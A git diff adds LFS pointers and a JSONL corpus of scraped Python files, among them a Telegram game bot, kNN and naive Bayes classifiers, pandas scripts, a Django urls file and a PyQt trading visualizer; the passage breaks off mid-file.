diff --git a/.gitattributes b/.gitattributes index c6ba8a2dfa8b9f0cb680b3b70c7b1ceb20b34a2c..e4544e5fea5878afc302adf4179e856214df5ffa 100644 --- a/.gitattributes +++ b/.gitattributes @@ -4350,3 +4350,36 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text 1097.jsonl filter=lfs diff=lfs merge=lfs -text 1083.jsonl filter=lfs diff=lfs merge=lfs -text 1101.jsonl filter=lfs diff=lfs merge=lfs -text +166.jsonl filter=lfs diff=lfs merge=lfs -text +558.jsonl filter=lfs diff=lfs merge=lfs -text +5584.jsonl filter=lfs diff=lfs merge=lfs -text +5585.jsonl filter=lfs diff=lfs merge=lfs -text +5586.jsonl filter=lfs diff=lfs merge=lfs -text +5546.jsonl filter=lfs diff=lfs merge=lfs -text +5566.jsonl filter=lfs diff=lfs merge=lfs -text +557.jsonl filter=lfs diff=lfs merge=lfs -text +5605.jsonl filter=lfs diff=lfs merge=lfs -text +5708.jsonl filter=lfs diff=lfs merge=lfs -text +5713.jsonl filter=lfs diff=lfs merge=lfs -text +5697.jsonl filter=lfs diff=lfs merge=lfs -text +5707.jsonl filter=lfs diff=lfs merge=lfs -text +571.jsonl filter=lfs diff=lfs merge=lfs -text +5712.jsonl filter=lfs diff=lfs merge=lfs -text +5709.jsonl filter=lfs diff=lfs merge=lfs -text +5715.jsonl filter=lfs diff=lfs merge=lfs -text +5719.jsonl filter=lfs diff=lfs merge=lfs -text +5720.jsonl filter=lfs diff=lfs merge=lfs -text +5717.jsonl filter=lfs diff=lfs merge=lfs -text +572.jsonl filter=lfs diff=lfs merge=lfs -text +5718.jsonl filter=lfs diff=lfs merge=lfs -text +5721.jsonl filter=lfs diff=lfs merge=lfs -text +5722.jsonl filter=lfs diff=lfs merge=lfs -text +5704.jsonl filter=lfs diff=lfs merge=lfs -text +5716.jsonl filter=lfs diff=lfs merge=lfs -text +5724.jsonl filter=lfs diff=lfs merge=lfs -text +5728.jsonl filter=lfs diff=lfs merge=lfs -text +5726.jsonl filter=lfs diff=lfs merge=lfs -text +5725.jsonl filter=lfs diff=lfs merge=lfs -text +5727.jsonl filter=lfs diff=lfs merge=lfs -text +5702.jsonl filter=lfs diff=lfs merge=lfs -text +5731.jsonl filter=lfs diff=lfs merge=lfs -text diff --git a/166.jsonl b/166.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a63c2e61fba3aa501ad6ac4d367a7cad53938100 --- /dev/null +++ b/166.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5d84429fabbefa66f2b130a0efe46f9394e81b4083f6f24f78cba62662263d1a +size 55748135 diff --git a/2896.jsonl b/2896.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/2897.jsonl b/2897.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..bd2cefb9feb52172cf66d29c5c2210877c35a7e8 --- /dev/null +++ b/2897.jsonl @@ -0,0 +1,689 @@ +{"seq_id":"129477021","text":"\"\"\"Module with tortoise configuration options\"\"\"\n\nfrom .settings import settings\n\nTORTOISE_CFG = {\n \"connections\": {\n \"default\": {\n \"engine\": \"tortoise.backends.asyncpg\",\n \"credentials\": settings.db.dict(by_alias=True),\n },\n },\n \"apps\": {\n \"billing\": {\n \"models\": [\"src.db.models\"],\n }\n },\n \"use_tz\": True,\n \"timezone\": \"W-SU\",\n}\n","sub_path":"billing_api/src/core/tortoise.py","file_name":"tortoise.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620940471","text":"from tkinter import Tk\nfrom kayttoliittyma import Kayttoliittyma\nfrom sovelluslogiikka import Sovelluslogiikka\nfrom Komentotehdas import Komentotehdas\n\n\ndef main():\n sovellus = Sovelluslogiikka()\n\n window = Tk()\n window.title(\"Laskin\")\n komentotehdas = Komentotehdas()\n\n kayttoliittyma = Kayttoliittyma(sovellus, window, komentotehdas)\n kayttoliittyma.kaynnista()\n\n window.mainloop()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"viikko5/laskin/src/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"418945251","text":"import os\nimport logging\n\nfrom telegram import ReplyKeyboardRemove\nfrom telegram.ext import MessageHandler, Filters\n\nfrom yandex_translate import YandexTranslate\n\nfrom bot.user import StateId\nfrom bot.modes.talk.command import query\n\nfrom bot.handlers.matches import matches\nfrom bot.handlers.talk import talk\nfrom bot.handlers.xo3 import xo_3\nfrom bot.handlers.xo5 import xo_5\n\n\nlogger = logging.getLogger(__name__)\n\ntranslate = YandexTranslate(os.environ['TR_TOKEN'])\n\ndef text(bot, update):\n logger.info (\"Text command, id: \" + str (update.message.chat_id) + \" text: \" + update.message.text)\n\n user_state = bot.state[update.message.chat_id]\n text = update.message.text.lower()\n\n switch_mode_words = [\n 'switch',\n 'select'\n 'change',\n 'exchange',\n 'play',\n 'show',\n 'start',\n 'open'\n\n ]\n tic_tac_words = ['tic-tac', 'tic tac', 'in a row', 'tictac']\n matches_words = ['matches']\n talk_words = ['talk', 'math', 'dialog']\n\n for x in switch_mode_words:\n if x in text:\n for y in tic_tac_words:\n if y in text:\n if '5' in text or 'five' in text:\n xo_5(bot, update)\n return\n else:\n xo_3(bot, update)\n return\n\n for y in matches_words:\n if y in text:\n matches(bot, update)\n return\n\n for y in talk_words:\n if y in text:\n talk(bot, update)\n return\n\n if (user_state.state_id == StateId.Talk):\n talk_handler(bot, update)\n\n if (user_state.state_id == StateId.XO_5):\n xo5_game_handler(bot, update)\n\n if (user_state.state_id == StateId.XO_3):\n xo3_game_handler(bot, update)\n\n if (user_state.state_id == StateId.Matches):\n matches_game_handler(bot, update)\n\n if (user_state.state_id == StateId.Translate):\n translate_handler(bot, update)\n\n\nText_handler = MessageHandler (Filters.text, text)\n\n\ndef xo5_game_handler(bot, update):\n reply_markup = ReplyKeyboardRemove ()\n\n user_state = bot.state[update.message.chat_id]\n\n if (user_state.xo5_game is None):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"No game found, use /xo5 to start new game\",\n reply_markup=reply_markup\n )\n\n return\n\n ok = user_state.xo5_game.sendUserMove(update.message.text)\n\n if (not ok):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Invalid Move\",\n reply_markup=reply_markup,\n )\n\n return\n\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=user_state.xo5_game.getGameState(),\n reply_markup=reply_markup,\n parse_mode = \"MARKDOWN\"\n )\n\n winner = user_state.xo5_game.getWin()\n\n if (winner is not None):\n user_state.xo5_game = None\n user_state.state_id = StateId.Start\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Game Over, Winner: \" + winner,\n reply_markup=reply_markup\n )\n\ndef xo3_game_handler(bot, update):\n reply_markup = ReplyKeyboardRemove ()\n\n user_state = bot.state[update.message.chat_id]\n\n if (user_state.xo3_game is None):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"No game found, use /xo3 to start new game\",\n reply_markup=reply_markup\n )\n\n return\n\n ok = user_state.xo3_game.xo_bot(update.message.text)\n\n if (not ok):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Invalid Move\",\n reply_markup=reply_markup\n )\n\n return\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=user_state.xo3_game.getGameState(),\n reply_markup=reply_markup\n )\n\n winner = user_state.xo3_game.getWin()\n\n if (winner is not None):\n user_state.xo3_game = None\n user_state.state_id = StateId.Start\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Game Over, Winner: \" + winner,\n reply_markup=reply_markup\n )\n\ndef matches_game_handler(bot, update):\n reply_markup = ReplyKeyboardRemove ()\n\n user_state = bot.state[update.message.chat_id]\n\n if (user_state.matches_game is None):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"No game found, use /matches to start new game\",\n reply_markup=reply_markup\n )\n\n return\n\n ok = user_state.matches_game.sendUserMove(update.message.text)\n\n if (not ok):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Invalid Move\",\n reply_markup=reply_markup\n )\n\n return\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=user_state.matches_game.getGameState(),\n reply_markup=reply_markup\n )\n\n winner = user_state.matches_game.getWin()\n\n if (winner is not None):\n user_state.matches_game = None\n user_state.state_id = StateId.Start\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Game Over, Winner: \" + winner,\n reply_markup=reply_markup\n )\n\ndef talk_handler(bot, update):\n reply_markup = ReplyKeyboardRemove ()\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Thinking...\",\n reply_markup=reply_markup\n )\n\n result = query(update.message.text)\n print(result)\n\n if (result is None or result == \"\"):\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Woops, sorry I am not smart enough\",\n reply_markup=reply_markup\n )\n\n return\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=result,\n reply_markup=reply_markup\n )\n\ndef translate_handler(bot, update):\n reply_markup = ReplyKeyboardRemove ()\n\n text = translate.translate(update.message.text, 'ru').get('text')\n\n if len(text) < 1:\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Translation error\",\n reply_markup=reply_markup\n )\n\n return\n\n bot.send_message (\n chat_id=update.message.chat_id,\n text=\"Translation: \" + text[0],\n reply_markup=reply_markup\n )","sub_path":"bot/handlers/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":6526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16865813","text":"import random\nfrom pygame.sprite import Sprite\nfrom nlc_dino_runner.utils.constants import CLOUD, SCREEN_WIDTH\n\n\nclass Cloud(Sprite):\n def __init__(self):\n self.image = CLOUD\n self.pos_x = SCREEN_WIDTH + random.randint(200, 500)\n self.pos_y = random.randint(100, 150)\n self.rect = self.image.get_rect()\n\n def update(self, game_speed):\n self.pos_x -= game_speed\n if self.pos_x < - self.rect.width:\n self.pos_x = SCREEN_WIDTH + random.randint(500, 1000)\n self.pos_y = random.randint(100, 150)\n\n def draw(self, screen):\n screen.blit(self.image, (self.pos_x, self.pos_y))\n","sub_path":"nlc_dino_runner/components/clouds/cloud.py","file_name":"cloud.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"511119830","text":"import glob\nimport csv\nimport os\nimport pandas as pd\nimport numpy as np\n\nfilter='processed/CSVData*.csv'\n\nfiles = glob.glob(filter)\n#\"2016-02-20 11:07 AM\"\nif files:\n\tfor file in files:\n\t\tin_csv=file\n\t\tout_csv=\"grouped/\"+os.path.basename(file)\n\t\tnewnames = [\"date\",\"credit\",\"description\",\"balance\",\"category\"]\n\t\tdf = pd.read_csv(in_csv, names=newnames, header=0)\n\t\t#print(df)\n\t\t\n\t\tdf['date'] = pd.to_datetime(df['date'], format='%d/%m/%Y')\n\t\tdf['sdate'] = df['date'].apply(lambda x: x.strftime('%b-%Y'))\n\t\tdf = df.set_index('date')\n\t\t#print(df)\n\t\t#g1 = df.groupby([lambda x: x.year, lambda x: x.month])\n\t\tg1=df.groupby('sdate')\n\t\tg2=g1['balance'].max()\n\t\tg2.reset_index().to_csv(out_csv, index=False)","sub_path":"grouped_netbank.py","file_name":"grouped_netbank.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"257779542","text":"employees=[\n[101,\"anu\",\"developer\",2500,1989,1999],\n[101,\"ammu\",\"testing\",24000,1990,2005],\n[103,\"achu\",\"ba\",21000,1975,1988],\n[104,\"meera\",\"ba\",20000,1990,1999]\n]\nfor employee in employees:\n print(employee[1])\n\nfor employee in employees:\n print(employee[2]==\"developer\")\n print(employee)\n\ntotal=0\nfor salary in employees:\n total+=employee[3]\nprint(\"total Salary=\",total)\n\nsalary_list=[]\nfor high_salary in employees:\n salary_list.append(employee[3])\nprint(\"high_salary=\",max(salary_list))\n\nhighest_experience=[]\nfor employee in employees:\n highest_experience.append(employee[5]-employee[4])\nprint(\"employee=\",max(highest_experience))#highest experience\nprint(highest_experience) #sorting the experience\n","sub_path":"python_collections/pythonprograms/lists/employee_list.py","file_name":"employee_list.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"292142056","text":"def findPaths(cur, seen, paths):\n if cur == 'end':\n return [[cur]]\n if cur != cur.upper():\n seen = seen + [cur]\n\n ans = []\n for next in paths[cur]:\n if next in seen:\n continue\n for p in findPaths(next, seen, paths):\n ans.append([cur] + p)\n return ans\n\n\npaths = {}\n\nwith open(\"in.txt\", \"r\") as file:\n for line in file:\n start, end = line.strip().split(\"-\")\n ends = paths.get(start, set())\n ends.add(end)\n paths[start] = ends\n starts = paths.get(end, set())\n starts.add(start)\n paths[end] = starts\n\nprint(len(findPaths('start', [], paths)))\n","sub_path":"advent2021/a12/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"241462423","text":"\nimport numpy as np\nfrom collections import Counter\ndata=np.loadtxt(open('D:\\sta.csv'),delimiter=',',skiprows = 1, encoding='utf8',dtype=str) #读取数据\nn=int(input(\"输入伏邪代码，“风\\寒\\湿\\热\\瘀\\毒”分别为“0/1/3/5/6/7” ：\"))\na=0#记录行数\ncount=0#记录满足条件的数量\nfangji=[] #储存满足条件的数据\nfor tof in data[:,n]: #判断是否满足某种伏邪\n if tof=='1':\n fangji.append(data[a,8])\n a=a+1\n count=count+1\n else:\n a=a+1\nprint(\"符合条件的数据有：%d\"%count)\nResult=Counter(fangji)\nprint(\"结果为\",Result)","sub_path":"question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539122885","text":"'''\nk-近邻算法的一般流程：\n收集数据：可以使用爬虫进行数据的收集，也可以使用第三方提供的免费或收费的数据。一般来讲，数据放在txt文本文件中，按照一定的格式进行存储，便于解析及处理。\n准备数据：使用Python解析、预处理数据。\n分析数据：可以使用很多方法对数据进行分析，例如使用Matplotlib将数据可视化。\n测试算法：计算错误率。\n使用算法：错误率在可接受范围内，就可以运行k-近邻算法进行分类。\n'''\nimport numpy as np\nfrom matplotlib.font_manager import FontProperties\nimport matplotlib.lines as mlines\nimport matplotlib.pyplot as plt\n\nfrom kNearestNeighbor import classify0\n\n'''\n函数说明：打开并解析文件，对数据进行分类：1代表不喜欢，2代表魅力一般，3代表极具魅力\nParameters:\n filename - 文件名\nReturns:\n returnMat - 特征举证\n classLabelVector - 分类Label向量\n'''\ndef file2matrix(filename):\n #打开文件\n fr = open(filename)\n #读取文件所有内容\n arrayOfLines = fr.readlines()\n #得到文件行数\n numberOfLines = len(arrayOfLines)\n #返回的NumPy矩阵,解析完成的数据:numberOfLines行,3列\n returnMat = np.zeros((numberOfLines,3))\n # 返回的分类标签向量\n classLabelVector = []\n #行的索引值\n index = 0\n for line in arrayOfLines:\n # s.strip(rm)，当rm空时,默认删除空白符(包括'\\n','\\r','\\t',' ')\n line = line.strip()\n # 使用s.split(str=\"\",num=string,cout(str))将字符串根据'\\t'分隔符进行切片。\n listFromLine = line.split('\\t')\n # 将数据前三列提取出来,存放到returnMat的NumPy矩阵中,也就是特征矩阵\n returnMat[index,:] = listFromLine[0:3]\n ##根据文本中标记的喜欢的程度进行分类,1代表不喜欢,2代表魅力一般,3代表极具魅力\n if listFromLine[-1] == 'didntLike':\n classLabelVector.append(1)\n elif listFromLine[-1]=='smallDoses':\n classLabelVector.append(2)\n elif listFromLine[-1]=='largeDoses':\n classLabelVector.append(3)\n index += 1\n return returnMat,classLabelVector\n'''\n函数说明：对数据进行归一化\nParameters：\n dataSet - 特征矩阵\nReturns:\n normDataSet - 归一化后的特征矩阵\n ranges - 数据范围\n minVals -数据最小值\n'''\ndef autoNorm(dataSet):\n #获得数据的最小值\n minVals = dataSet.min(0)\n maxVals = dataSet.max(0)\n #最大值和最小值的范围\n ranges = maxVals - minVals\n #shape(dataSet)返回dataSet的矩阵行列数\n normDataSet = np.zeros(np.shape(dataSet))\n #返回dataSet的行数\n m= dataSet.shape[0]\n #原始值减去最小值\n normDataSet = dataSet - np.tile(ranges,(m,1))\n #除以最大和最小值的差，得到归一化数据\n normDataSet = normDataSet / np.tile(ranges,(m,1))\n #返回归一化数据结果，数据范围，最小值\n return normDataSet,ranges,minVals\n'''\n函数说明：分类器测试函数\nParameters:\n None\nReturns:\n normDataSet - 归一化后的特征矩阵\n ranges - 数据范围\n minVals - 数据最小值\n'''\ndef datingClassTest():\n #打开的文件名\n filename = \"datingTestSet.txt\"\n #将返回的特征矩阵和分类向量分别存储到datingDataMat和datingLabels中\n datingDataMat,datingLabels = file2matrix(filename)\n #取所有数据的百分之十\n hoRatio = 0.10\n #数据归一化，返回归一化后的矩阵，数据范围，数据最小值\n normMat,ranges,minVals = autoNorm(datingDataMat)\n #获得normMat的行数\n m = normMat.shape[0]\n #百分之十的测试数据的个数\n numTestVecs = int(m * hoRatio)\n #分类错误计数\n errorCount = 0.0\n\n for i in range(numTestVecs):\n #前numTestVecs个数据作为测试集，后m - numTestVecs个数据作为训练集\n classifierResult = classify0(normMat[i,:],normMat[numTestVecs:m,:],\n datingLabels[numTestVecs:m],4)\n print(\"分类结果:%d\\t真实类别:%d\" % (classifierResult,datingLabels[i]))\n if classifierResult != datingLabels[i]:\n errorCount += 1.0\n print(\"错误率:%f%%\" % (errorCount/float(numTestVecs)*100))\n'''\n函数说明:通过输入一个人的三维特征,进行分类输出 \nParameters:\n 无\nReturns:\n 无\n'''\ndef classifyPerson():\n #输出结果\n resultList = ['讨厌','有些喜欢','非常喜欢']\n #三维特征用户输入\n precentTats = float(input(\"玩视频游戏所耗时间百分比：\"))\n ffMiles = float(input(\"每年获得的飞行常客里程数：\"))\n iceCream = float(input(\"每周消费的冰淇淋公升数：\"))\n #打开的文件名\n filename= \"datingTestSet.txt\"\n #打开并处理数据\n datingDataMat,datingLabels = file2matrix(filename)\n #训练集归一化\n normMat, ranges, minVals = autoNorm(datingDataMat)\n #生成numpy数组，测试集\n inArr = np.array([ffMiles,precentTats,iceCream])\n #测试集归一化\n norminArr = (inArr-minVals)/ranges\n #返回分类结果\n classifierResult = classify0(norminArr,normMat,datingLabels,3)\n #打印结果\n print(\"你可能%s这个人\" % (resultList[classifierResult-1]))\n\n'''\n函数说明：可视化数据\nParameters:\n datingDataMat - 特征矩阵\n datingLabels - 分类Label\nReturns:\n None\n'''\ndef showdatas(datingDataMat, datingLabels):\n #设置汉字格式\n font = FontProperties(fname = r\"c:\\windows\\fonts\\simsun.ttc\", size=14)\n # 将fig画布分隔成1行1列,不共享x轴和y轴,fig画布的大小为(13,8)\n # 当nrow=2,nclos=2时,代表fig画布被分为四个区域,axs[0][0]表示第一行第一个区域\n fig, axs = plt.subplots(nrows=2,ncols=2,sharex=False,sharey=False,figsize = (13,8))\n\n numberOfLabels = len(datingLabels)\n LabelsColors = []\n for i in datingLabels:\n if i ==1:\n LabelsColors.append('black')\n if i==2:\n LabelsColors.append('orange')\n if i==3:\n LabelsColors.append('red')\n #画出散点图,以datingDataMat矩阵的第一(飞行常客例程)、第二列(玩游戏)数据画散点数据,散点大小为15,透明度为0.5\n axs[0][0].scatter(x=datingDataMat[:,0], y=datingDataMat[:,1], color = LabelsColors, s =15, alpha = .5)\n # 设置标题,x轴label,y轴label\n axs0_title_text = axs[0][0].set_title(u'每年获得的飞行常客里程数与玩视频游戏所消耗时间占比',FontProperties=font)\n axs0_xlabel_text = axs[0][0].set_xlabel(u'每年获得的飞行常客里程数',FontProperties=font)\n axs0_ylabel_text = axs[0][0].set_ylabel(u'玩视频游戏所消耗时间占',FontProperties=font)\n plt.setp(axs0_title_text,size=9,weight='bold',color='red')\n plt.setp(axs0_xlabel_text, size=7, weight='bold', color='black')\n plt.setp(axs0_ylabel_text, size=7, weight='bold', color='black')\n\n # 画出散点图,以datingDataMat矩阵的第一(飞行常客例程)、第三列(冰激凌)数据画散点数据,散点大小为15,透明度为0.5\n axs[0][1].scatter(x=datingDataMat[:, 0], y=datingDataMat[:, 2], color=LabelsColors, s=15, alpha=.5)\n # 设置标题,x轴label,y轴label\n axs1_title_text = axs[0][1].set_title(u'每年获得的飞行常客里程数与每周消费的冰激淋公升数', FontProperties=font)\n axs1_xlabel_text = axs[0][1].set_xlabel(u'每年获得的飞行常客里程数', FontProperties=font)\n axs1_ylabel_text = axs[0][1].set_ylabel(u'每周消费的冰激淋公升数', FontProperties=font)\n plt.setp(axs1_title_text, size=9, weight='bold', color='red')\n plt.setp(axs1_xlabel_text, size=7, weight='bold', color='black')\n plt.setp(axs1_ylabel_text, size=7, weight='bold', color='black')\n\n # 画出散点图,以datingDataMat矩阵的第二(玩游戏)、第三列(冰激凌)数据画散点数据,散点大小为15,透明度为0.5\n axs[1][0].scatter(x=datingDataMat[:, 1], y=datingDataMat[:, 2], color=LabelsColors, s=15, alpha=.5)\n # 设置标题,x轴label,y轴label\n axs2_title_text = axs[1][0].set_title(u'玩视频游戏所消耗时间占比与每周消费的冰激淋公升数', FontProperties=font)\n axs2_xlabel_text = axs[1][0].set_xlabel(u'玩视频游戏所消耗时间占比', FontProperties=font)\n axs2_ylabel_text = axs[1][0].set_ylabel(u'每周消费的冰激淋公升数', FontProperties=font)\n plt.setp(axs2_title_text, size=9, weight='bold', color='red')\n plt.setp(axs2_xlabel_text, size=7, weight='bold', color='black')\n plt.setp(axs2_ylabel_text, size=7, weight='bold', color='black')\n # 设置图例\n didntLike = mlines.Line2D([],[],color='black',marker='.',\n markersize=6, label = 'didntLike')\n smallDoses = mlines.Line2D([],[],color='orange',marker='.',\n markersize=6, label = 'smallDoses')\n largeDoses = mlines.Line2D([],[],color='red',marker='.',\n markersize=6, label = 'largeDoses')\n #添加图例\n axs[0][0].legend(handles = [didntLike,smallDoses,largeDoses])\n axs[0][1].legend(handles=[didntLike, smallDoses, largeDoses])\n axs[1][0].legend(handles=[didntLike, smallDoses, largeDoses])\n # 显示图片\n plt.show()\nif __name__ == '__main__':\n #打开的文件名\n filename = \"datingTestSet.txt\"\n #打开并处理数据\n datingDataMat, datingLabels = file2matrix(filename)\n print(\"特征矩阵是：\",datingDataMat)\n print(\"标签向量是：\",datingLabels)\n normDataSet,ranges,minVals = autoNorm(datingDataMat)\n print(\"归一化后的数据集：\",normDataSet)\n print(\"数据的取值范围:\",ranges)\n print(\"数据的最小值:\",minVals)\n datingClassTest()#我们可以改变函数datingClassTest内变量hoRatio和分类器k的值，检测错误率是否随着变量值的变化而增加。依赖于分类算法、数据集和程序设置，分类器的输出结果可能有很大的不同。\n classifyPerson()\n #数据可视化\n # showdatas(datingDataMat,datingLabels)\n","sub_path":"kNN_DataWebsite.py","file_name":"kNN_DataWebsite.py","file_ext":"py","file_size_in_byte":10141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349163936","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'cookbook'\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P[0-9]+)/$', views.page, name='page'),\n]\n","sub_path":"cookbook/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173506605","text":"# Program 1 : Print the following pattern using while loop \n\nnum=int(input(\"Enter the no of rows : \"))\n\ni=num\nwhile i>=1:\n j=i\n while j>= 1:\n print(j,end=\" \")\n j=j-1\n print()\n i=i-1","sub_path":"Personel/Yash/Assessment/1march/prog1.py","file_name":"prog1.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"23057076","text":"#导入聊天记录\nimport pandas as pd\ndf = pd.read_excel(\"C:\\\\Users\\\\kfzx-bocw\\\\Desktop\\\\Label2.xlsx\" ,sep=',',header=0,encoding='gb18030',dtype='str')\n#将不同人说的换成0 1 类别\ndef func(a):\n if a == 'Pluto':\n return 1;\n else:\n return 0\ndf['label'] = df.exception.map(func)\n\n\nimport jieba.finalseg\nfrom numpy import *\n#准备数据集\ndataSet = []\nfor i in df.index:\n dataSet.append(\" \".join(jieba.cut(df.content[i])).split())\nclassVec = df.label.tolist()\n#创建一个包含在所有文档中出现的不重复的词的列表\ndef createVocabList(dataSet):\n vocabSet = set()\n for document in dataSet:\n vocabSet = vocabSet | set(document)\n return list(vocabSet)\nvocabList = createVocabList(dataSet)\n#将一个文档转换为词向量 存在改词即为1 否则为0\ndef setOfwords2Vec(vocabList, inputSet): #词汇表 inputSet表示某个文档\n returnVec = [0]*len(vocabList)\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] = 1\n else:\n print('the world: %s is not in my vocabulary' % word)\n return returnVec\n#训练矩阵\ntrainMat = []\nfor postinDoc in dataSet:\n trainMat.append(setOfwords2Vec(vocabList,postinDoc))\nprint(shape(trainMat))\n#p0Vect是类别为0的条件下每个特征词向量的出现的概率；\n#p1Vect是类别为1的条件下每个特征词向量的出现的概率；\n#pAbusive是类别为1的概率 1-pAbusive是类别为0的概率\ndef trainNB1(trainMatrix,trainCategory):\n numTrainDocs = len(trainMatrix)\n numWords = len(trainMatrix[0])\n pAbusive = sum(trainCategory)/float(numTrainDocs) #p(辱骂的=1)的概率\n\n\n p0Num = ones(numWords);p1Num = ones(numWords) #n列\n p0Denom = 2.0; p1Denom = 2.0 #分母\n for i in range(numTrainDocs):\n if trainCategory[i] == 1:\n p1Num += trainMatrix[i] #n列同时计数\n p1Denom += sum(trainMatrix[i]) ##标量 分母是该类的总词条数目\n else:\n p0Num += trainMatrix[i]\n p0Denom += sum(trainMatrix[i])\n p1Vect = log(p1Num/p1Denom)\n p0Vect = log(p0Num/p0Denom)\n return p0Vect,p1Vect,pAbusive\n\n\n#训练\np0V,p1V,pAb = trainNB1(trainMat,classVec)\np0V\n\n\n#预测\ndef classifyNB(vec2Classify, p0Vec, p1Vec, pClass1):\n p1 =sum(vec2Classify*p1Vec) + log(pClass1) #转为log后*全部为+\n p0 =sum(vec2Classify*p0Vec) + log(1 - pClass1)\n if p1>p0:\n return 1\n else:\n return 0\n\n\ndef prefunc(string):\n testWords = string\n testEntry = \" \".join(jieba.cut(testWords)).split()\n thisDoc = array(setOfwords2Vec(vocabList,testEntry))\n predict = classifyNB(thisDoc,p0V,p1V,pAb)\n if predict==0:\n print (\"这句话是答应不如常在说的\")\n else:\n print(\"这句话是Pluto说的\")\n#最后在这里预测\nstring = \"你大爷\"\nprefunc(string)\n\n\n\n\n","sub_path":"com/icbc/classify/naviebayes2.py","file_name":"naviebayes2.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"296472920","text":"\n#IWA::Disabled||* * * * *||nothing useful for automation\n\nimport os\nfrom Engine.classes.config import variables\nfrom labels.labels import get_label_meucy17\n\nsettings = variables.workspaces['REPORTS'].settings\nsettings_default = variables.workspaces['DEFAULT'].settings\ndaily_revision = settings_default.get('daily_revision')\n\n\npath_to_folder = os.path.join(os.environ.get(\"XDG_RUNTIME_DIR\"), 'gvfs', 'smb-share:server=172.30.136.211,share=toyota_cy17_meu', 'Daily')\npath_to_latest_reports = os.path.join(settings.get('path_to_artifacts'), daily_revision)\n\nlabel = get_label_meucy17(os.listdir(path_to_folder))\n\nos.system('cp -r ' + path_to_latest_reports + ' ' + os.path.join(path_to_folder, '', label))\n","sub_path":"scripts/SCRIPTS/DAILY_copy_to_rs.py","file_name":"DAILY_copy_to_rs.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"171430519","text":"import logging\nimport sys\nimport time\n\nimport numpy as np\nfrom PyQt5 import QtCore, QtWidgets\n\nfrom database import Database\nfrom ui import Ui_MainWindow\nfrom utils import logger\nfrom visualizer import Visualizer\nfrom volumeProfile import VolumeProfile\n\n\nclass ApplicationWindow(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n\n self.db = Database(0, \"5T\")\n\n self.visualizer = Visualizer(self)\n self.ui.verticalLayout.addWidget(self.visualizer)\n\n self.volumeProfile = VolumeProfile(self)\n\n self.previousIndex = 7\n self.ui.cbInterval.setCurrentIndex(7)\n\n self.timer = QtCore.QTimer(self)\n self.timer.timeout.connect(self.updatePlot)\n self.timer.start(2000)\n\n self.ui.actionVolumeProfile.triggered.connect(self.actionVolumeProfile)\n self.ui.actionConsole.triggered.connect(self.actionConsole)\n\n self.ui.cbSymbol.currentIndexChanged.connect(self.cbSymbolSelect)\n self.ui.cbInterval.activated.connect(self.cbIntervalSelect)\n\n @QtCore.pyqtSlot()\n def actionVolumeProfile(self):\n self.volumeProfile.updateDate()\n self.volumeProfile.show()\n\n @QtCore.pyqtSlot()\n def actionConsole(self):\n self.db.console.show()\n\n @QtCore.pyqtSlot(int)\n def cbSymbolSelect(self, i):\n self.visualizer.setIndex(i)\n self.volumeProfile.deleteAll()\n\n @QtCore.pyqtSlot(int)\n def cbIntervalSelect(self, i):\n text = 